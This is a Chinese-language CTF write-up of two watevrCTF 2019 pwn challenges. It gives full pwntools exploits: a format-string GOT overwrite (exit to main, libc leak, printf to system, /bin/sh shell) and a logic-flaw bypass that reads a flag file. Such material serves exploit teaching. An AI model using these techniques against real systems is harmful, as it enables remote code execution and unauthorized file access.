Voting Machine 2 [watevrCTF 2019]Voting Machine 2 悄悄话:应大佬话语格式化字符串的 payload
构造最好自己手搓,所以这题我就复杂了点手动构造,用 fmtstr_payload
构造的我有写注释贴脚本中(从其他大佬的脚本中学过来的),不过具体的没调试,不知道通不通,知识点理了很久,就没写(哭笑),具体可以看大佬原文 这里虽然搓是搓出来了,但本人栈的调试不是很好,所以更详细的调试过程就不展示了,差不多就是多尝试,没什么报错就是对的(无奈),还是要多学习
前置知识点:
动态链接的程序中:
PLT 表(Procedure Linkage Table,过程链接表) :是程序中函数调用的 “跳板”,存储着跳转到 GOT 表对应条目的指令。
GOT 表 :存储着函数在内存中的实际地址(程序加载时由动态链接器填充)。程序调用函数时,会先通过 PLT 表跳转到 GOT 表,再根据 GOT 表中存储的地址找到实际函数。 举例: 当程序执行printf("xxx")
时,流程是:call printf@plt
→ 跳转到printf
的 PLT 表项 → 跳转到printf
的 GOT 表项 → 执行实际的printf
函数。
fmtstr_payload
函数:fmtstr_payload
函数的设计逻辑是:每个写入操作的地址必须是独立的、不连续的 。fmtstr_payload
对 “连续地址写入” 的严格校验:fmtstr_payload
函数内部对 “连续地址写入” 有严格校验,即使是同一变量的不同字节(如 0x804979c
、0x804979d
、0x804979e
这种连续地址),也会被判定为 “地址重叠” 而拒绝生成 payload。
格式化字符串漏洞修改内存: 通过控制输出字符数来间接修改内存: 利用%n
系列占位符的 “输出计数写入” 特性,通过控制输出的字符总数,间接将目标值写入指定内存地址。 这种 “间接性” 是由格式化函数的设计决定的,也是漏洞利用的核心技巧 —— 攻击者需要精确计算输出字符数,才能让%n
写入预期的值。 (不是直接修改数值)
%c
:输出一个字符。
%n
:将当前已输出的字符总数写入指定地址。
%k$hn
:将字符总数写入第 k
个参数指向的地址(hn
表示写入 2 字节)。
16 位整数的溢出特性
16 位无符号整数的取值范围是 0x0000
到 0xFFFF
(即 0 到 65535),最大值为 0xFFFF
。
0x10000
等于 65536
,恰好是 16 位无符号整数的溢出边界 —— 当数值超过 0xFFFF
时,会自动截断为低 16 位(相当于对 0x10000
取模)。
准备 32位开了 NX
保护
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { char format[50]; // [esp+0h] [ebp-3Ah] BYREF int *p_argc; // [esp+32h] [ebp-8h] p_argc = &argc; signal(14, (__sighandler_t)exit_f); alarm(5u); puts("Hello and welcome to \x1B[3mour\x1B[23m voting application!"); puts("We noticed that there occured a slight buffer overflow in the previous version."); puts("Now we never return, so the problem should be solved? Right?"); puts("Today you are the one who decides what we will vote about.\n"); printf("Topic: "); fflush(stdin); fflush(stdout); __isoc99_scanf("%[^\n]%*c", format); printf(format); puts("\nWill be the voting topic of today!"); exit(0); }
开始先设置了 5 秒的计时,强制程序 5 秒后退出 下面有一个输入,存在格式化字符串漏洞
思路 这里有格式化字符串漏洞,没有 system
函数,没有 '/bin/sh'
等连接路径 所以要先利用格式化字符串漏洞去修改 exit
为 main
函数来可以多次触发,在获得 libc
基址,进而得到 system
的地址,最后通过劫持 printf
的 got
表为 system
和输入 /bin/sh
来获得 shell
先利用 aaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
获取偏移(写入参数位置) 参数位置为7,若要输入完整的地址,还需在填充两个偏移,写在第 8 个参数上 接下来利用格式化字符串漏洞去修改 exit
为 main
函数手动构造 payload
分高字节和低字节进行修改,避免因单次写入数据过大而触发漏洞限制
1 2 3 4 5 6 7 8 9 10 11 exit=elf.got['exit'] main=elf.sym['main'] printf_got=elf.got['printf'] puts_got=elf.got['puts'] lowm=main & 0xFFFF highm=(main >> 16) & 0xFFFF payload=b'aa'+p32(exit+2)+p32(exit) payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode() # payload=fmtstr_payload(7,{exit:main},offset_bytes=2) io.sendlineafter(b'Topic: ',payload)
因为我这里没改文件的 libc
,动态文件又不太方便,所以我在写出获取 printf
地址,进而有 libc
基址,system
地址,最后可以打通本地后,选择打远程,加了个获取 puts
地址,[网上查找](libc database search ) libc
文件,获取固定偏移
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * context(os='linux',log_level = 'debug') io=remote('node5.anna.nssctf.cn',20570) # io= process('/home/motaly/vm') elf = ELF('/home/motaly/vm') exit=elf.got['exit'] main=elf.sym['main'] printf_got=elf.got['printf'] puts_got=elf.got['puts'] lowm=main & 0xFFFF highm=(main >> 16) & 0xFFFF payload=b'aa'+p32(exit+2)+p32(exit) payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode() # payload=fmtstr_payload(7,{exit:main},offset_bytes=2) io.sendlineafter(b'Topic: ',payload) payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') printf_addr=u32(io.recv(4)) log.success('printf_addr: '+hex(printf_addr)) payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') puts_addr=u32(io.recv(4)) log.success('puts_addr: '+hex(puts_addr)) pause() io.interactive()
b'%8$s'
是因为写入的参数位置为7,用两个 a
填充后,写入的 printf
函数地址就在第 8 个位置,这个的作用是从栈上第 8 个参数位置读取一个地址,并将该地址指向的内容作为字符串输出 前面的 b'xxxx'
是为了更好的接收 printf
函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 exit=elf.got['exit'] main=elf.sym['main'] printf_got=elf.got['printf'] puts_got=elf.got['puts'] lowm=main & 0xFFFF highm=(main >> 16) & 0xFFFF payload=b'aa'+p32(exit+2)+p32(exit) payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode() # payload=fmtstr_payload(7,{exit:main},offset_bytes=2) io.sendlineafter(b'Topic: ',payload) payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') printf_addr=u32(io.recv(4)) log.success('printf_addr: '+hex(printf_addr)) payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') puts_addr=u32(io.recv(4)) log.success('puts_addr: '+hex(puts_addr)) libc_base=printf_addr-0x050b60 log.success('libc_base: ' + hex(libc_base)) system=libc_base+0x03cd10 log.success('system: ' + hex(system))
最后劫持 printf
的 got
表为 system
和输入 /bin/sh
来获得 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 exit=elf.got['exit'] main=elf.sym['main'] printf_got=elf.got['printf'] puts_got=elf.got['puts'] lowm=main & 0xFFFF highm=(main >> 16) & 0xFFFF payload=b'aa'+p32(exit+2)+p32(exit) payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode() # payload=fmtstr_payload(7,{exit:main},offset_bytes=2) io.sendlineafter(b'Topic: ',payload) payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') printf_addr=u32(io.recv(4)) log.success('printf_addr: '+hex(printf_addr)) payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') puts_addr=u32(io.recv(4)) log.success('puts_addr: '+hex(puts_addr)) libc_base=printf_addr-0x050b60 log.success('libc_base: ' + hex(libc_base)) system=libc_base+0x03cd10 log.success('system: ' + hex(system)) lows=system & 0xFFFF highs=(system >> 16) & 0xFFFF payload=b'aa'+p32(printf_got+2)+p32(printf_got) payload+=(f'%{highs-10}c%8$hn'+f'%{(lows - highs) % 0x10000}c%9$hn').encode() # payload=fmtstr_payload(7,{printf_got:system},offset_bytes=2) io.sendlineafter(b'Topic: ',payload) io.sendline('/bin/sh\x00')
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * context(os='linux',log_level = 'debug') io=remote('node5.anna.nssctf.cn',20570) # io= process('/home/motaly/vm') elf = ELF('/home/motaly/vm') exit=elf.got['exit'] main=elf.sym['main'] printf_got=elf.got['printf'] puts_got=elf.got['puts'] lowm=main & 0xFFFF highm=(main >> 16) & 0xFFFF payload=b'aa'+p32(exit+2)+p32(exit) payload+=(f'%{highm-10}c%8$hn'+f'%{(lowm - highm) % 0x10000}c%9$hn').encode() # payload=fmtstr_payload(7,{exit:main},offset_bytes=2) io.sendlineafter(b'Topic: ',payload) payload=b'aa'+p32(printf_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') printf_addr=u32(io.recv(4)) log.success('printf_addr: '+hex(printf_addr)) payload=b'aa'+p32(puts_got)+b'xxxx'+b'%8$s' io.sendlineafter(b'Topic: ',payload) io.recvuntil(b'xxxx') puts_addr=u32(io.recv(4)) log.success('puts_addr: '+hex(puts_addr)) libc_base=printf_addr-0x050b60 log.success('libc_base: ' + hex(libc_base)) system=libc_base+0x03cd10 log.success('system: ' + hex(system)) lows=system & 0xFFFF highs=(system >> 16) & 0xFFFF payload=b'aa'+p32(printf_got+2)+p32(printf_got) payload+=(f'%{highs-10}c%8$hn'+f'%{(lows - highs) % 0x10000}c%9$hn').encode() # payload=fmtstr_payload(7,{printf_got:system},offset_bytes=2) io.sendlineafter(b'Topic: ',payload) io.sendline('/bin/sh\x00') io.interactive()
Wat-sql [watevrCTF 2019]Wat-sql
知识点:DWORD
是一个 typedef
类型,在不同的编程环境下,其具体定义可能有所不同,但一般而言:
它表示 “双字”(Double Word)。
长度为 32 位,也就是 4 字节,相当于unsigned int
。
若代码中采用_DWORD
这种写法,往往是自定义的类型别名,例子:
1 typedef unsigned int _DWORD; // 32位无符号整数
DWORD*
是指向DWORD
类型的指针,它具备以下特点:
内存访问 :借助该指针能够访问 4 字节的数据。
指针运算 :当指针进行加减操作时,步长为 4 字节。
常见用途 :多用于处理二进制数据、内存块或者 32 位数值数组。
准备 64 位开了 Canary
和 NX
保护
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 void __fastcall main(int a1, char **a2, char **a3) { s2 = (char *)malloc(0x20uLL); signal(14, (__sighandler_t)handler); alarm(0x28u); sub_40128B(); if ( *((_DWORD *)s2 + 8) != 7955827 ) exit(0); puts("Welcome to wat-sql!"); puts("This project was made as an extention to the super successful project, sabataD!"); puts("Valid queries are read, write. You are only allowed to access /home/ctf/database.txt!"); sub_40115F(); }
看到这里开头有一个 sub_40128B
函数 只有满足 sub_40128B
函数中的限制条件后,才会继续运行程序 最后运行 `sub_40115F 函数
sub_40128B函数 1 2 3 4 5 6 7 8 9 10 int sub_40128B() { printf("%s", "Demo activation code: "); fflush(stdout); fgets(s2, 36, stdin); if ( !strcmp("watevr-sql2019-demo-code-admin", s2) && *((_DWORD *)s2 + 8) == 7955827 ) return puts("Demo access granted!"); else return puts("Demo access not granted!"); }
这里先是一个读取,读取最大 36 个字符给 s2
在下面是 if
判断 先比较 s2
是否与 watevr-sql2019-demo-code-admin
是否相同 在验证 s2
的第 33-36 位是否为 7955827(0x796573) (第 33-36 位的原因是: 这里把 s2 转换成DWORD*
类型(4 字节指针),并偏移 8 个 DWORD
(即 32 字节),*((_DWORD *)s2 + 8)
指向s2 + 8×4 = s2 + 32
(第 33 字节))
sub_40115F函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 void sub_40115F() { while ( 1 ) { while ( 1 ) { printf("%s", "Query: "); fflush(stdout); fgets(haystack, 20, stdin); if ( !strstr(haystack, "read") ) break; if ( ++dword_602100 > 2 ) { printf("You have exhausted the request limit for your wat-sql demo!"); __asm { retn } } sub_400E30(); } if ( strstr(haystack, "write") ) { sub_400FB7(); if ( ++dword_602100 > 2 ) { printf("You have exhausted the request limit for your wat-sql demo!"); __asm { retn } } } else { puts("Unrecognised command!"); } } }
这里进入循环,有一个读取输入点给 haystack
,选择 read
还是 write
,并会记录两者的总调用次数,超过两次会拒绝访问 先看选择 read
时,会调用 sub_400E30
函数 再看选择 write
时,会调用 sub_400FB7
函数
read-sub_400E30函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int sub_400E30() { int result; // eax printf("%s", "database to read from: "); fflush(stdout); fgets(name, 100, stdin); strtok(name, "\n"); if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ) { result = puts("You are not allowed access to that database!"); dword_6020FC = 0; } else { dword_6020FC = 1; if ( access(name, 0) == -1 ) { return puts("Tried to open non-existing database"); } else { printf("%s", "database to read: "); fflush(stdout); fgets(nptr, 7, stdin); dword_6022A0 = atoi(nptr) + 1; pthread_create(&th, 0LL, start_routine, 0LL); result = pthread_join(th, 0LL); dword_6020FC = 0; } } return result; }
先读取一个输入给 name
,并移除换行符 在下面用 if
判断对读取的 name
进行判断 第一条: 检查 name
中是否有 flag
,是否有字符 *
(42 是 *
的 ASCII 码值),是否有字符 ?
(63 是 ?
的 ASCII
码值),三个条件中的任意一个满足,结果就为真 第二条: 检查权限状态,!dword_6020FC
意味着当该变量的值为 0 时,结果就为真 这里会有三种情况: 1.无权限( dword_6020FC=0
),无限制字符,会是这里
1 2 3 4 { return puts("Tried to open non-existing database"); }
2.无权限( dword_6020FC=0
),输入限制字符,会是这里
1 2 3 4 { result = puts("You are not allowed access to that database!"); dword_6020FC = 0; }
3.只有有权限( dword_6020FC=1
),再输入限制字符,才会到下面输入 flag
,得到 flag
数据库中的内容
1 2 3 4 5 6 7 8 9 10 else { printf("%s", "database to read: "); fflush(stdout); fgets(nptr, 7, stdin); dword_6022A0 = atoi(nptr) + 1; pthread_create(&th, 0LL, start_routine, 0LL); result = pthread_join(th, 0LL); dword_6020FC = 0; }
这个函数的这里是整个程序的关键
1 2 3 4 5 6 7 else { dword_6020FC = 1; if ( access(name, 0) == -1 ) { return puts("Tried to open non-existing database"); }
是一个逻辑漏洞 当我们没有输入上面的限制字符,只是没有权限(也就是随便输入了一段字符串)时,就会到这里,他直接给了权限
此时我们再次选择 read
函数,并且输入 flag
,有了权限,会跳转到这里
1 2 3 4 5 6 7 8 9 10 else { printf("%s", "database to read: "); fflush(stdout); fgets(nptr, 7, stdin); dword_6022A0 = atoi(nptr) + 1; pthread_create(&th, 0LL, start_routine, 0LL); result = pthread_join(th, 0LL); dword_6020FC = 0; }
我们输入 flag
,就会读取 flag
值
write-sub_400FB7函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int sub_400FB7() { int result; // eax printf("%s", "database to write to: "); fflush(stdout); fgets(name, 100, stdin); strtok(name, "\n"); if ( (strstr(name, "flag") || strchr(name, 42) || strchr(name, 63)) && !dword_6020FC ) { result = puts("You are not allowed access to that database!"); dword_6020FC = 0; } else { dword_6020FC = 1; if ( access(name, 0) == -1 ) { return puts("Tried to open non-existing database"); } else { printf("%s", "Database to write to: "); fflush(stdout); fgets(nptr, 8, stdin); printf("%s", "Data to write: "); fflush(stdout); fgets(s_0, 200, stdin); dword_6022A0 = atoi(nptr); return pthread_create(&newthread, 0LL, sub_400CE0, 0LL); } } return result; }
这里跟 read
调用的函数差不多,只不过这里是写入,不是读取,所以这里没什么用
思路 主要用选择 read
,调用的函数里存在的逻辑漏洞,来读取 flag
1.先绕过选择之前的限制 2.选择 read
,随便输入一个 name
值,触发漏洞,获得权限 3.再次选择 read
,输入 flag
,进入最后的读取,输入 flag
,得到 flag
值 先输入 watevr-sql2019-demo-code-admin
和 7955827(0x796573) 绕过限制
1 2 payload=b'watevr-sql2019-demo-code-admin'+p64(0x796573) io.sendlineafter(b'Demo activation code:',payload)
发现这里输入没绕过限制 我们地址的输入点是第33字节,这里提前了两位,所以加两位填充 接着按思路写入
1 2 3 4 5 6 7 8 payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573) io.sendlineafter(b'Demo activation code:',payload) io.sendlineafter(b'Query:',b'read') io.sendline(b'aaaa') io.sendlineafter(b'Query:',b'read') io.sendlineafter(b'database to read from:',b'flag') io.sendafter(b'database to read:',b'flag')
脚本 这题我本地没通,但远程是通的,连通后随便输入一个值,在 Data:
后就是 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * context.log_level = "debug" # io=remote('node5.anna.nssctf.cn',24724) io= process('/home/motaly/sql') payload=b'watevr-sql2019-demo-code-admin\x00\x00'+p64(0x796573) io.sendlineafter(b'Demo activation code:',payload) io.sendlineafter(b'Query:',b'read') io.sendline(b'aaaa') io.sendlineafter(b'Query:',b'read') io.sendlineafter(b'database to read from:',b'flag') io.sendafter(b'database to read:',b'flag') io.interactive()